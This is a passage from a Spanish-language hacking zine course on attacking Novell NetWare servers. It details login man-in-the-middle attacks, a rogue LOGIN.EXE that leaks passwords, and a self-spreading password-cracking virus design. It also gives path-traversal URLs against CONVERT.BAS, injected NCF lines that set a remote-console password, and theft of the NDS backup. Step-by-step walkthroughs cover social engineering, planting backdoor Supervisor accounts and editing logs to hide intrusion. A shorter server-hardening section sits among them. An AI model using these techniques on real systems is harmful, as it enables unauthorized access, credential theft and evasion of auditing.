nunca conocera X=hash(UID, password).

El hecho de que NetWare 3.x por defecto, permite que el hosts decida

firmar a no los paquetes, hace el ataque posible. Sysadmin puede evitar

el ataque requiriendo los paquetes firmados a todos los hosts.

 

El ataque

Cuando Bob ve que Alicia pide login, Bob tambien pide un login como Alicia

al server. El server generara dos valores random (R[a] y R[b], siendo el

R[a] enviado a Alicia y R[b] el enviado a Bob). Cuando Bob recibe su R,

falsifica la direccion del server y envia Rb a Alicia. Esta pensara que

el server le pide que calcule Yb=hash(X, R[b]) nientras que el server

realmente intenta Y[a]=hash(X,R[a]). Alicia enviara Y[b] al server, Bob

captura Y[b] de la red en el momento que Alicia lo envia y lo trasmite al

server (utilizando su direccion real). En este momento el server pensara que

Alicia ha intentado hacer login dos veces. El intento de Bob sera un exito

y el de Alicia fallara. Si todo va bien, Bob ha asumido la identidad de Alicia

sin conocer su password y Alicia esta tecleando de nuevo su password.

 

Si el server no permite al usuario conectarse dos veces simultaneamente o

aborta ambas secuencias de login depues de recibir dos respuestas a la

misma pregunta, entonces Bob saturaria la red (sin pararla) entre Alicia

y el server, mientras Bob esta intentando conectarse como Alicia.

 

Para los ultraparanoicos. Bob deberia ser cuidadoso, puede haber otro

atacante, Joe, esperando a que Alicia haga login sin paquetes firmados.

Aqui Joe puede tambien asumir la identidad de Alicia con mucho menos

esfuerzo.

 

Hablemos ahora de NetWare 4.x

 

Se sigue la misma tecnica hasta que Alicia intenta obtener la llave publica

del server. En este momento Bob envia su propia llave publica a Alicia.

Esta enviara al server el par (Y, R2) encriptado con la llave publica de

Bob. Este toma esta informacion al vuelo, desencripta el par (Y,R2).

Entonces genera su propia R2 (o guarda la de Alicia), toma la llave publica

real del server y envia al server el par (Y, R2) encriptado con la llave

real publica del server.

 

Si el server pide el firmado de paquetes, el server enviara a Bob Z para

permitirle el acceso como Alice. Bob no conoce la llave privada de Alice

ya que nunca la recibio. Recordad que NetWare 4.x encripta la llave privada

RSA de Alicia con X' que esta almacenada en el server y nunca la envia sin

encriptar. Por tanto Bob no puede firmar los paquetes como Alicia.

 

Pero Bob no esta del todo sin recursos. Puede intentar un ataque offline

en el momento de hacer guess como Alicia ya que conoce Y', R y UID. Bob

necesita para encontrar X, tal que Y=hash(X,R) = Y'. Ya que esto es casi

como la password de Alicia no es particularmente buena idea, esto es una

severa reduccion en la seguridad, pero no es una rutpura total, hasta que

Bob pueda calcular X, encontrando una password tal que X=hash(pass, UID).

A partir del momento que Bob conoce X, puede determinar cual es la llave

privada RSA de Alicia. Entonces puede firmar paquetes.

 

Alicia puede almacenar la llave publica del server para el segundo tentativo

de login y puede darse cuenta de que esta pasando. Pero la RSA privada de

Alicia nunca cambiara y una vez que se consiga esto, no hay problema, incluso

si Alicia cambia su password. La password de Alicia puede ser descubierta de

nuevo.

 

 

---------------------------------------------------------------------------

 

11-3. Ataques con virus

 

Un virus podria permitir a un atacante lograr el acceso a un gran numero de

servidores disponibles en una red, utilizando la estrategia del gusano de

Internet de 1988, combinado con una estrategia sencilla de virus, se puede

construir un virus capaz de infectar muchos servidores/clientes en muchas

redes (El virus podria incluso emplear ataques similares a Hack.exe o

incluso el ataque MITM de la seccion 11-2

 

Algunas redes NetWare tiene un gran numero de servidores conectados.

Tambien es cierto que muchos usuarios (Incluyendo Super y Admin) utilizan

el mismo password en diversos servers (algunos incluso sin password).

Un virus puede explotar esta vulnerabilidad y extenderse a otros servers

en principio inacesibles. El virus podria utilizar el idle time de la CPU

en clientes infectados para crackear los passwords de otros usuarios.

Sin embargo, se debe de tener cuidado para no disparar el intruder detection.

El virus deberia seleccionar de forma aleatoria un usuario de un server al

azar, intentar conectarse utilizando una palabra de una lista de palabras

La frecuencia con la que el cliente deba intentar conectarse depende del

tama~o de la red (recuerda que si el virus tiene exito, pueden haber

miles de clientes intentando romper passwords en paralelo).

 

El virus deberia estimar el tama~o de la red y usar leyes de probabilidad

para determinar la frecuencia de los tentativos en cada cuenta. Se puede

calcular relacionando el numero de cuentas, el numero de clientes (estimado

mediante monitorizacion del trafico de la red y asumiendo que todos los

servers tienen el mismo numero de clientes). A pesar de que esto no es

cierto al 100%, es suficientemente preciso para nuestras propositos.

 

Algunos de los ratios de calculo de exito del virus (medido en terminos

de host infectado por dia desde un unico host) y del tiempo que el virus

ha estado en marcha. Siendo :

 

A = Numero de cuentas

P = Propagacion

n = Numero de dias de funcionamiento del virus

 

( A * 24 ) / P­n  = numero de conexiones por cliente

 

Que deberia hacer este virus ? Si esta trabajando en una estacion de trabajo

con tarjeta de red, podria capturar logins. Ya que R y hash(X,R) se envian

en texto (ver seccion 11-01), el virus podria intentar un calculo offline

contra X, para evitar un ataque de fuerza bruta que podria hacer saltar las

alarmas del intruder detection. El virus no puede usar el ataque MITM en la

secuencia del login porque no se dispone de la topologia necesaria para

implementar el ataque. Si, podrias intentarlo y construirlo pero saldria

demasiado grande y notorio. Recuerda, estamos hablando de virus, no de

aplicaciones que trabajan solas.

 

 

---------------------------------------------------------------------------

 

11-4. Puede insertarse un LOGIN.EXE falso durante el proceso de login ?

 

Aparentemente si.

He aqui una secuencia de login que es comun a todas las versiones de NetWare.

 

1.-La estacion de trabajo se conecta al server.

2.-Se mapea un drive al directorio del server SYS:\LOGIN

3.-La estacion de trabajo, baja LOGIN.EXE desde el server y lo ejecuta.

4.-Si el usuario es aceptado, la estacion de trabajo baja y ejecuta el

   el login script.

 

El fallo en este protocolo esta cuando la estacion de trabajo baja LOGIN.EXE.

Como el usuario no esta autentificado, no es posible el envio de paquetes

firmados, por tanto cualquier estacion es capaz de hacerse pasar por el

server. Aqui el atacante puede "sniffar" la peticion de login desde la red,

y enviar a la estacion de trabajo cualquier programa.

 

El ataque optimo seria enviar una copia modificada del LOGIN.EXE real. El

EXE modificado podria encriptar el password del usuario (utilizando la llave

publica) y publicarlo en la red. Tambien podria, el EXE modificado, cargar

el LOGIN autentico y ejecutar el login script. Con este ataque, el usuario

objetivo no tiene forma de saber que algo raro ha ocurrido. Parece que

NetWare siempre empieza con el numero de secuencia 0 y la incrementa en +1

hasta el final de la sesion. Esto hace posible predecir el numero de secuencia

permitiendo al atacante explotar el agujero sin utilizar un ataque MITM y

todavia permitir la conversacion normal.

 

El ataque es posible contra cualquier server en la red que pueda ser

husmeada buscando peticiones de login. Es posible hacerlo si la

estacion de trabajo y el server estan en la misma red (y si el server es mas

lento respondiendo que el atacante). Aqui el hacker solo lanza el numero de

secuencia, y envia a la estacion de trabajo un LOGIN.EXE que publicara el

password del usuario (encriptado) a traves de la red y despues re-boot de la

maquina (es posible que el atacante deje hacer log al usuario y hacer al ataque

transparente para la victima).

 

En este caso el atacante deberia capturar uno de los paquetes del server y

reenviarlos a la estacion de trabajo con la proximo numero de secuencia de

forma que el proximo ACK se sincronizara con el numero de secuencia del server

El atacante debera hacer ACK artificialmente los paquetes que el server envia

cuando el cliente intenta bajar el LOGIN.EXE

 

Esta establecido que solo los primeros bytes de los paquetes de NetWare

estan firmados. Esto significa que el usuario no solo puede modificar LOGIN

al vuelo, sino que puede modificar cualquier programa al vuelo.

 

Veamoslo de cerca. El programa podria tomar la direccion MAC de un admin como

parametro, esperar a que el usuario intente hacer login, explotar el host y salir.

Si el atacante no quiere tomarse la molestia de continuar la conversacion,

puede hacer que el host rearranque automaticamente despues de publicar la

password a traves de la red.

 

No es necesario explotar un gran numero de hosts, solo desde los que el admin

de la red se conecte. Normalmente es un peque~o subset de la red.

 

La idea viene de un conocido agujero en NFS de UNIX (que se explota de la

misma forma). Pero NetWare se supone que evito este problema con la firma de

los paquetes. Obviamente no fue asi. Este agujero se explota con el mismo

principio que el que utiliza HACK.EXE

 

Desde luego, esto permite ejecutar cualquier programa en cualquier maquina.

Las posibilidades solo estan limitadas por tu imaginacion. Por ejemplo, un

virus que se extienda con LOGIN.EXE y deje el codigo para descifrar la llave

privada de cada estacion de trabajo.

 

Ahora el ataque MITM no requiere aprovechar ningun elemento de este tipo

de ataque si el atacante es capaz de predecir el numero de secuencia del

server. Tendria los siguientes efectos :

 

1.-El atacante no necesita capturar ningun paquete del server para sincronizar

   el numero de la secuencia.

2.-El atacante no necesita responder artificialmente a un ACK del

server.

3.-El ataque MITM no necesita modificar ningun programa al vuelo. Cualquier

   PC puede implementar el ataque.

 

 

---------------------------------------------------------------------------

 

11-5. Vulnerabilidad durante el cambio de password.

 

NetWare 3.x no utiliza la llave criptografica que usa NetWare 4.x, por tanto

transmitir un password a traves de la red durante un cambio, tiene que

encriptarse con algo. El nuevo password tiene que ser encriptado con el

password antiguo. Sin embargo si el password antiguo es blanco (cuenta nueva)

la llave para encriptar produce un texto sin encriptar.

 

 

---------------------------------------------------------------------------

 

11-6. Es posible el "data diddling ?

 

El esquema de validacion de NetWare comprende una firma de paquetes y un

checksum. Sin embargo si el checksum incluye una firma de paquetes EN TEORIA

es posible utilizar esta informacion en combinacion con otro problema para

falsear el dato.

 

El otro hecho es que la firma de paquetes solo usa los primeros 52 bytes,

lo que significa que cualquier dato a partir del byte 89 puede alterarse

y generar un nuevo checksum, y si el paquete tiene firma valida y checksum,

pueden falsearse los datos.

 

Desde luego, ello asume que un atacante puede escribir codigo que puede hacer

cosas interesantes entre el byte 89 AND generar un checksum AND retransmitir el

paquete AND devolver el paquete original a su destino.

[Dificil?]

 

Asumiendo que el checksum pueda determinarse, especialmente si estas vigilando

un origen especifico, es una posibilidad.

 

 

===========================================================================

 

Seccion 12

 

IntranetWare e Internet

 

---------------------------------------------------------------------------

 

12-1. Seguridad del server web de NetWare

 

Dicho server tiene un bug enorme. Los scripts CGI son programas en BASIC...

si... estas a punto de hackear un server en basic. Algunos de ellos se

incluyen en el server. Uno en particular, CONVERT.BAS, transforma los

archivos HTML y los envia al usuario.

 

Ejemplo, suponiendo un objetivo llamado www.target.com, el mandato

 

http://www.target.com/scripts/convert.bas?readme.txt

 

devuelve el archivo readme.txt como HTML.

 

Bien,....pues he aqui el bug

 

http://www.target.com/scripts/convert.bas?.../../cualquier_archivo_en_sys

 

Bonito,...no? Yo recomendaria empezar por

 

http://www.target.com/scripts/convert.bas?.../../system/autoexec.cnf

 

o tambien es una buena idea intentar

 

http://www.target.com/scripts/convert.bas?.../../etc/ldremote.ncf

 

Volver a leer el capitulo 06-2 y se os ocurriran algunas ideas....

 

El problema ha sido fijado en las ultimas versiones de IntranetWare.

 

 

---------------------------------------------------------------------------

 

12-2. Algunas historias con el FTP NLM de NetWare

 

Con IntranetWare, el FTP NLM tiene un par de problemas. La instalacion

standard da derechos de Read y File Scan al SYS:ETC, lo que permite a

usuarios anonimos acceder a los archivos de este directorio. Este es un

problema si utilizas INETCFG para configurar RCONSOLE y no vuelves y

encriptas la password en el archivo.

 

El password de la comunidad SNMP esta en este directorio, para no decir

nada de protocolos, directorios y otras informaciones de configuracion.

 

El Admin puede eliminar estos derechos, pero.....que pasa con GUEST ?

Si lo hacemos, se elimina la posibilidad de hacer login como tal.

 

El otro problema en NetWare 4.1 con FTPSERV.NLM, es que algunos usuarios

que se conectan via FTP, tienen excesivos derechos. Parando y arrancando

el NLM parece que los derechos retornen a los valores originales, pero

despues parece que retornan a FULL.

 

Dicen que si se utiliza el FTP Fetch, esto ocurre siempre.

 

A pesar de que es posible chequear los derechos reales, en el bindery via

SYSCON y ademas con UNICON, lo cierto es que el paquete 4.1 es vulnerable.

No estoy seguro si 4.11 lo es, pero apostaria que si. El problema ?, si no

se utiliza el espacio del archivo NFS, algunos clientes FTP como Fetch y

CUTE, pueden acabar con derechos Super en el volumen.

 

 

---------------------------------------------------------------------------

 

12-3. Ataques de un server IntraNetWare desde Internet

 

Este tipo de ataques son posibles. He estado trabajando en condiciones de

laboratorio y lo he conseguido. Sin embargo se requiere un monton de

condiciones. Pero no son condiciones descabelladas.

 

Primero, se utilizan las tecnicas descritas en los apartados 12-1 y 12-2.

Por ejemplo, si un CGI scrip esta mal escrito y permite acceso de escritura

en el server y puede ser redireccionado, se pueden a~adir lineas a los

archivos NCF.

 

Por ejemplo, imagina que un scrip CGI a~ade una linea de texto en un archivo

por ejemplo una lista de mailing. Si el scrip se puede redireccionar,

a~adiendo algunas lineas al

 

SYS:ETC\LDREMOTE.NCF

 

o al

 

SYS:SYSTEMAUTOEXEC.NCF

 

te puede dar acceso total.

Ejemplos de lineas a~adir :

 

  UNLOAD REMOTE

  LOAD REMOTE HACKPASSWORD

  LOAD XCONSOLE

 

Ahora simplemente haciendo telnet al server, utilizando "HACKPASSWORD", y

utilizando VT-100, puedes acceder a la consola despues del proximo reboot.

 

No puedes hacer telnet a traves de un firewall ? A~ade los comandos al

archivo NCF para simplemente UNLOAD ! Puedes cargarlos despues de que has

ganado acceso, si quieres.

 

 

---------------------------------------------------------------------------

 

12-4. Robos de archivos de password como en Unix y Windows NT

 

Sorprendentemente ..... es posible. Si has accedido via las tecnicas

anteriormente explicadas, puedes robar el archivo de password. Novell ha dicho

publicamente que no es posible, pero se ha hecho en condiciones de laboratorio.

 

Primero de todo, los archivos NDS estan en el directorio SYS:_NETWARE. Desde

luego debes lograr tener acceso .... pero hay un par de formas de hacerlo.

Vuelve a leer la seccion 06-15. En caso de que el administrador haya eliminado

NETBASIC, y no puedas bajarte archivos tales como JCMN.NLM, todavia no estas

vencido. Como se dijo en alguna parte de este FAQ, mediante BINDFIX en

NetWare 3.x se obtiene una copia de los archivos bindery en SYS:SYSTEM.

Para hacer lo mismo en 4.11, es necesario lanzar la utilidad equivalente

desde la consola. Y es muy facil de hacer.

 

 - Si es posible espera hasta que nadie este conectado, porque se notara.

   Durante el proceso nadie podra conectarse, a pesar de que los usuarios

   conectados no notaran nada.

 - UNLOAD CONLOG

 - LOAD DSMAINT

 - Escoge la opcion para preparar un upgrade.

 - Este proceso crea un backup completo de los NDS y los login scripts

   y los pone en el SYS:SYSTEM

   El archivo se llamara BACUP.DS. Utiliza FTP.NLM para robarlo.

 

 

===========================================================================

 

Seccion 13

 

Solo para administradores

 

---------------------------------------------------------------------------

 

13-1. Como volver seguro un server

 

Esta pregunta la hacen los administradores, y estoy seguro que ningun hacker

leera esta informacion y se enterara que su admin piensa impedir los ataques

de los hackers !

 

Hay una cosa que se debe tener en cuenta, la mayor parte de los ataques

vienen de un empleado de la propia compa~ia, no de fuera. Sus intenciones

pueden ser acceder a archivos personales, copiar y vender secretos de la

compania, estar disgustado y pretender causar da~os, o dar patadas o alardear

de tener muchos derechos. Por tanto, no confies en nadie,.......

 

<Comentario>

Estoy totalmente de acuerdo.

Los ataques pueden estar motivados por muchas causas, pero sin duda cuando

empiezas con algo,....siempre se empieza por lo que se tiene mas a mano,...

despues, tal vez se ataque al server del banco vecino,... pero esto tardara

un poco

<Fin comentario>

 

 

ASEGURA FISICAMENTE EL SERVER

 

Esto es lo mas simple. Manten el server bajo llave. Si el server esta en un

sitio donde hay un centro de datos, situalo en la misma habitacion y

tratalo commo si fuera la caja fuerte. El acceso al centro de datos debe estar

controlado minimamente con llave de acceso, preferentemente con algun tipo de

tarjeta magnetica que pueda ser trazada. En grandes almacenes, una trampa humana

(gorila, pistolas,...) es muy deseable.

 

Si el server tiene llave, utilizala y limita el acceso a la llave. Controla el

floppy. Conozco un sitio donde monitor y CPU estan separados por un vidrio, de

forma que teclado y floppy no son accesibles por la misma persona al mismo

tiempo.

 

Si solo cargas NLMs desde el directorio SYS:SYSTEM, utiliza el SECURE CONSOLE

para evitar que puedan ser cargados desde un floppy. Un hacker podria cargar

un floppy y lanzar desde el diversas utilidades para lograr acceso al server.

O hacer un backup,.... o simplemente pararlo !.

 

Asegurando fisicamente el server, puedes controlar quien tiene acceso a la sala

del server, quien accede al floppy, a las cintas de backup, y a la consola.

Esto simplemente elimina el 75% de los ataques.

 

 

ASEGURA LOS ARCHIVOS IMPORTANTES

 

Almacenalos off-line. Deberias hacer copias de STARTUP.NCF y de AUTOEXEC.NCF.

Tambien del bindery de los archivos NDS. Todos los System Login Scripts,

Container Scripts y cualquier Login Scrip. Cuidado con los Login Scrip de

pasarelas de e-mail, maquinas backup,.....

 

Haz una lista de NLMs y de sus versiones, y una lista de archivos situados

en SYS:LOGIN, SYS:PPUBLIC, SYS:SYSTEM.

 

Revisa periodicamente el contenido y que nada haya cambiado. Si alguien cambia

un archivo (por ejemplo el LOGIN.EXE de itsme) puede llegarse a tener acceso

al server entero. Es posible para el hacker alterar los NCF o los Login Scripts

para sortear la seguridad o para abrir agujeros para posterior ataque.

 

 

HAZ UNA LISTA DE USUARIOS Y DE SUS ACCESOS

 

Utiliza alguna herramienta como Bindview o GRPLIST.EXE (utilidades JRB) para

obtener una lista de usuarios y grupos (incluyendo los miembros de los grupos).

Mantenlo al dia y comprueba con frecuencia.

 

Utiliza Security (Desde el directorio SYS:SYSTEM) o GETEQUIN.EXE de JRB

Utilities para ver quieen tiene acceso de Supervisor. Busca cuentas extra~as con

acceso de Super como GUEST o PRINTER. Tambien es buena idea mirar la asignacion

de derechos y asegurarse que los accesos estan al minimo. Comprueba que los

accesos no sean demasiado elevados en ninguna area, o utiliza TRSTLIST de JRB

Utilities.

 

Secirity te dara errores extra~os si SUPER.EXE ha sido utilizado. Si no has

utilizado SUPER.EXE, borra cualquier cuenta que de errores en el chequeo del

Bindery, sobre todo si BINDFIX no es capaz de conseguir que las cuentas se

comporten de forma normal. Si un hacker ha instalado un backdoor utilizando

SUPER.EXE. seguramente habra instalado otros caminos para colarse de nuevo.

 

 

VIGILA LA CONSOLA

 

Utiliza CONLOG.NLM para chequear la actividad de la consola. Es una excelente

herramienta de control cuando los mensajes de error borran los mensajes antiguos.

No veras lo que ha sido tecleado en la consola, pero las respuestas del sistema

quedaran registradas en SYS:ETC\CONSOLE.LOG. Cuando esto no funcione en grandes

establecimientos con usuarios imposibles de recordar, piensa en utilizar

SECUREFX.NLM (o SECUREFX.VAP para 2.x) Esta utilidad muestra el siguiente

mensaje cuando ha habido una rotura de la seguridad.

 

"Rotura de seguridad contra estacion XXXXX DETECTADA"

 

Tambien escribira en log, con el mensaje

 

"Conexion TERMINATED para prevenir roturas de seguridad"

 

 

INSTALA ACCOUNTING

 

A partir del momento que Accounting esta en marcha, se puede monitorizar cada

login y logout, incluyendo los tentativos fallidos.

 

 

NO UTILICES LA CUENTA SUPERVISOR

 

Dejar la cuenta Supervisor conectada es una invitacion al desastre. Si no se

utiliza la firma de paquetes, alguien puede utilizar HACK.EXE y conseguir

acceso al server como Supervisor. Hack falsea los paquetes para aparentar que

vienen del Supervisor y hace Super equivalentes al resto de usuarios.

 

 

UTILIZA PAQUETES FIRMADOS

 

Para prevenir el falseamiento de identidad (HACK.EXE)fuerza la firma de paquetes.

A~ade la siguiente linea en tu AUTOEXEC.NCF

 

SET NCP PACKET SIGNATURE OPTION=3

 

Esta sentencia obliga a los clientes a firmar los paquetes. Los clientes que no

soportan esta opcion no podran conectarse,....no te queda otra opcion que el

upgrade,...

 

 

UTILIZA RCONSOLE RARAMENTE (MEJOR NUNCA)

 

La utilizacion de RCONSOLE te hace vulnerable a los sniffer con la consiguiente

posibilidad de robarte la password. A pesar de que esto esta normalmente por

encima de la capacidad de los usuarios normales, en Internet podemos encontrar

programas DOS que configuran las tarjetas de red en modo promiscuo y capturan

cualquier paquete de red. La encriptacion no es un metodo a toda prueba.

 

Recuerda que no se puede detectar un sniffer. No utilices un switch para

limitar la password de RCONSOLE a la password del Super. Todo lo que haras es

hacer igual la password al switch. Si utilizas la linea

 

"LOAD REMOTE /P="

 

la password del Super tomara este valor ("/P="). Ademas ya que la password del

RCONSOLE queda escrita en el archivo AUTOEXEC.NCF, utiliza un caracter no

imprimible o un espacio en blanco al final del password.

 

Y recuerda que a pesar de que utilices las tecnicas de encriptacion se~aladas

en 02-8, tu server sera siempre vulnerable al sniff.

 

 

DESPLAZA TODOS LOS ARCHIVOS NCF A UN LUGAR SEGURO

 

Pon el archivo AUTOEXEC.NCF en el mismo sitio que el archivo SERVER.EXE

Si el server es atacado con exito y un intruso accede al directorio SYS:SYSTEM

al menos habras protegido el AUTOEXEC.NCF

 

Un truco sencillo consiste en colocar un falso AUTOEXEC.NCF en SYS:SYSTEM con

un falso password para RCONSOLE (... y otras cosas). Todos los otros archivos

NCF deben colocarse en el disco C:

Recuerda que los NCF se lanzan como si fueran tecleados directamente desde

la consola.

 

 

UTILIZA LA OPCION FILE SERVER CONSOLE

 

Incluso si la password de RCONSOLE y del Super se descubre o fisicamente se

gana acceso al server, una password hard en la consola parara a los que quieran

acceder a ella.

 

 

A~ADE EXIT AL FINAL DEL SYSTEM LOGIN SCRIPT

 

A~adir Exit, controla hasta cierto punto lo que hace el usuario.

 

 

ACTUALIZA A NETWARE 4.11

 

A pesar de que hagas una tonelada de ventas a Novell y que los hagas muy

felices, pararas la mayor parte de los ataques que se describen en este FAQ.

Los mejores hackers son de 3.11

 

Si no quieres pasar a NDS y 4.x, como minimo actualiza a 3.12

 

 

CHEQUEA LA UBICACION DE RCONSOLE

 

En 3.11 RCONSOLE se encuentra en SYS:SYSTEM por defecto. EN 3.12 y 4.1 se

encuentra en SYS:SYSTEM y SYS:PUBLIC Elimina RCONSOLE de cualquier sitio

donde por defecto se tenga acceso.

 

 

ELIMINA [PUBLIC] DE [Root] EN EL DNS DE 4.1

 

Elimina de [Public] Trustee la lista de Trustees de los objetos de [Root]

Cualquiera, incluso sin conectarse, puede ver todos los objetos en el arbol

dando al intruso una lista completa de nombres de cuentas validas.

 

 

NO UTILICES LOS FTP NLM DE NOVELL

 

....hasta que no hayan sido modificados, ya que tienen algunos problemas.

Solo utilizalos si puedes usar nombres NFS. Para los paranoicos, utiliza

un NLM third party. Solo se han encontrado problemas en los de Novell.

 

---------------------------------------------------------------------------

 

13-2. Soy un idiota,...Exactamente como pueden atacarme los hackers.

 

Usaremos esta seccion como ejemplo de como estas tecnicas pueden utilizarse

conjuntamente para alcanzar acceso tipo Super en el server objetivo. Estas

tecnicas muestran otra cosa que ayuda en el hacking..... la ingenieria social.

 

EJEMPLO No 1

 

Imaginemos que la gente de soporte tecnico estan conectadas para soporte

tecnico de madrugada. Llama y hazte pasar por vendedor de productos de

seguridad y pregunta por alguien se soporte tecnico. A la persona que se

ponga le dices que estas buscando referencias, pregunta por productos de

conexion. Llama al operador y preguntale por el numero de ayuda. Llama al

numero de ayuda y pregunta por el numero de conexion, haciendote pasar por

la persona de soporte tecnico. Dile que tu PC esta roto y has perdido el

numero de conexion.

 

Conectate con dicho numero e intenta logins y passwords sencillos para

software de conexion. Si no te puedes conectar llama a la ayuda, especialmente

si hay otros usuarios de conexion remota. Graba en el server el LOGIN.EXE y

PROP.EXE (de itsme) y edita AUTOEXEC.BAT para lanzar tu LOGIN localmente.

Cambia el nombre de PROP.EXE a IBMNBIO.COM y hazlo invisible.

Despues de editar AUTOEXEC.BAT cambia la fecha para que refleje la original.

 

Conectate mas tarde, vuelve PROP.EXE a su nombre original y lanzalo, obtendras

cuentas y passwords.

 

EJEMPLO No 2

 

Carga un sniffer, llama al admin y dile que tienes un FATAL DIRECTORY ERROR

cuando intentas acceder al server. Normalmente intentara usar RCONSOLE para

ver el server y los paquetes que envie los podras capturar. El evidentemente

no vera nada raro (hazte el loco....)

 

Estudia los datos capturados y usa RCON.FAQ para obtener el password de RCONSOLE

Conectate como GUEST, crea un subdirectorio SYSTEM en cualquier directorio de

SYS Mapea un drive al nuevo SYSTEM, copia RCONSOLE.* en el y lanzalo. Intenta

desconectar CONLOG y carga BURGLAR.NLM en el SYS:SYSTEM real.

 

Crea un usuario Super (i.e. NEWUSER) y teclea CLS para limpiar la pantalla del

server. Conectate como NEWUSER. Borra BURGLAR.NLM el directorio SYSTEM y su

contenido y lanza PURGE para borrar todo definitivamente. Desconecta Accounting.

Da a GUEST derechos de Super. Oculta los derechos de NEWUSER con SUPER.EXE.

Lanza FILER y toma nota de los datos de SYS:ETC\CONSOLE.LOG (Si CONLOG esta

cargado) tambien del archivo SYS:SYSTEM\SYS$ERR.LOG. Edita SYS:ETC\CONSOLLE.LOG

y elimina toda actividad de BURGLAR.NLM y de RCONSOLE. Lo mismo para SYS$ERR.LOG

Salva los archivos y con FILER dale los datos de antes. Lanza PURGE. Conectate

como GUEST y esconde sus derechos con SUPER.EXE Quitale sus derechos a NEWUSER.

Conectate como NEWUSER con SUPER.EXE y quitale a GUEST sus derechos. Finalmente

te conectas como GUEST y conecta Accounting si lo estaba al principio.

 

Conclusion. Has creado una puerta trasera en el sistema que no quedara reflejada

como algo raro en Accounting log. Conectate como GUEST utilizando SUPER.EXE y

desconecta Accounting. Desconectate y entra como NEWUSER con SUPER.EXE, haz lo

que tengas que hacer (cubriendo con FILER tu actividad) y desconectate. Entra

de nuevo como GUEST y desconecta Accounting. El archivo NET$ACCT.DAT solo

mostrara una entrada de GUEST seguida de su salida.

 

EJEMPLO No 3

 

Busca en la red DSMAINT.NLM y bajatelo. Utilizando Ftech, accede al server de

Novell InterNetWare FTP.NMRC.ORG Descubriras que tienes acceso total al volumen

SYS. Graba DSMAINT.NLM en SYS:SYSTEM, graba y edita LDREMOTE.NCF Este archivo

graba CONLOG.NLM, graba y recarga REMOTE.NLM con un password de tu eleccion

y carga XCONSOLE.NLM

 

Despues de rearrancar el server (asitido con un flujo de SYN para provocar un

overload de los buffers) la password del remote console ha sido reseteada a

una de tu eleccion.

 

Telnet a FTP.NMRC.ORG y utiliza tu password. Si tu maquina soporta XWindows,

puedes usarla, sino con VT-100 crearas menos trafico en la red.

 

Carga DSMAINT.NLM y selecciona la opcion Prepare for Upgrade. Se vera un

poco raro debido a VT-100, pero en pocos minutos, terminara. El proceso

DSMAINT creara BACKUP.DS en SYS:SYSTEM.

 

Utiliza Fecth para copiarlo. Este archivo contiene todos las cuentas y sus

passwords. Estan encriptados pero esto no es una dificultad insalvable.

Solo tienes que hacer un brute force off-line.

 

 

-[ 0x0E ]--------------------------------------------------------------------

-[ CURSO DE NOVELL NETWARE - APENDICES I & II ]------------------------------

-[ by MadFran ]-------------------------------------------------------SET-20-

 

 

---------------------------------------------------------------------------

 

Apendice 1 - Codigos Fuente y otra Documentacion

 

A-01. RCONSOLE Articulo de Hacking

 

Este articulo aparecio en el numero del verano/96 del 2600 Magazine

 

---------------------------------------------------------------------------

 

RCONSOLE Hacking by Simple Nomad (Traduccion madfran)

 

Hay muchas Universidades y companias que utilizan Netware de Novell. A pesar

del avance en el mundo de sistemas como Unix y Microsoft NT, Novell todavia

tiene un 60% del mercado (.... esto se escribia en el verano del 96....)

Las otras plataformas estan, ahora, alcanzando los rendimientos de Netware

, muy rapido y con servicios de archivo e impresion, muy dignos de

confianza. Esto significa que para los hackers profesionales (si,... existen,

y se llaman a si mismos guerreros de la informacion), el conocimiento de

Netware es critico. Mucha informacion de empresas, hojas de calculo, memos

secretos, listas de password, numeros de entrada y salida, cuentas bancarias,

y procedimientos de transferencias y muchas cosas mas estan almacenadas en

archivos en sistemas Netware en todo el mundo.

 

En este articulo, intento explicar como extraer la password de RCONSOLE desde

un sniffer para conseguir el acceso a la consola de un server Netware Novell.

Mientras las versiones 3.x y 4.x emplean tecnicas de encriptado y firma de

paquetes para hacer login, RCONSOLE (Consola remota) utiliza una unica

password para lanzar una sesion remota a la consola del server, permitiendo

a un administrador teclear comandos como si estuviera frente a la consola.

 

Debe decirse que a pesar de que la version actual de Netware es la 4.1, y

esta tecnica solo funciona en redes 3.x, la mayor parte de las redes todavia

trabajan en 3.x y encima las que se han pasado a 4.1, siempre conservan por

diversas razones, algun servidor 3.x Tipicamente en Universidades y grandes

corporaciones, es mas facil para el personal de mantenimiento, sincronizar

la password para todos los servidores. Por tanto, es posible atacar al

eslabon mas debil de la cadena, para conseguir acceso a un server 4.1

 

Este articulo asume que se tienen conocimientos basicos de Netware, sin

embargo quiero clarificar algunos conseptos basicos acerca de la seguridad.

 

Elemento basicos de seguridad

-----------------------------

 

Hay cinco niveles de seguridad en Netware a nivel de archivos :

 

1. NO CONECTADO. Todo lo que se necesita es una conexion al server, no hace

   falta que hayas hecho login. Este nivel de acceso permite correr comandos

   de tipo simple, como LOGIN.EXE, SLIST.EXE y basicamente cualquier utilidad

   que se encuentre en el directorio SYS:LOGIN.

 

2. CONECTADO. Acceso basico controlado a traves de Trustee Rights.

   (Administrador de Derechos)

 

3. ACCESO DE OPERADOR. Los operadores tienen acceso basico y pueden controlar

   las colas de impresion y utilizar algunos comandos especiales que se

   incluyen en FCONSOLE.

 

4. ACCESO DE SUPERVICOR. Aceeso total al sistema. Es el acceso mejor guardado

   puedes alcanzar cualquier archivo del sistema, administrar y controlar

   cualquier aspecto desde accesos de usuarios a configuracion de la seguridad.

 

5. ACCESO AL SISTEMA OPERATIVO. Este es el nivel de acceso en el que se

   ejecutan los procesos en el server. La mayor parte de los comandos tecleados

   desde la consola se ejecutan a este nivel, y si puede que no te permite el

   nivel de detalle que tienes como Supervisor, ciertamente te abre la puerta

   para conseguir sus derechos.

   Los NLM (Network Loadable Modules) son programas que si son cargados desde

   la consola, forman parte del sistema operativo. Algunos permanecen residentes

   otros se descargan ellos solos una vez han cumplido su cometido.

 

Aqui hablaremos de un punto debil de Netware, el acceso remoto a la consola.

Mientras que Novell ha hecho un esfuerzo enorme en proteger la seguridad en

los niveles 1 a 4, RCONSOLE esta protegido con una simple password con

encriptacion simple, que puede romperse con facilidad. Una de mis herramientas

preferidas es RCON.EXE. Esta utilidad, escrita por itsme de Holanda (autor

de HACK.EXE, KNOCK.EXE y otras famosas herramientas), te permite, a partir

de informacion sniffada durante el proceso de inicializacion de una sesion

de RCONSOLE, romper la encriptacion de la password.

 

Una vez tienes la password de RCONSOLE, puedes emplear otras tecnicas para

alcanzar derechos de supervisor.

 

En mi opinion, la parte mas dificil, es acceder a los datos del proceso de

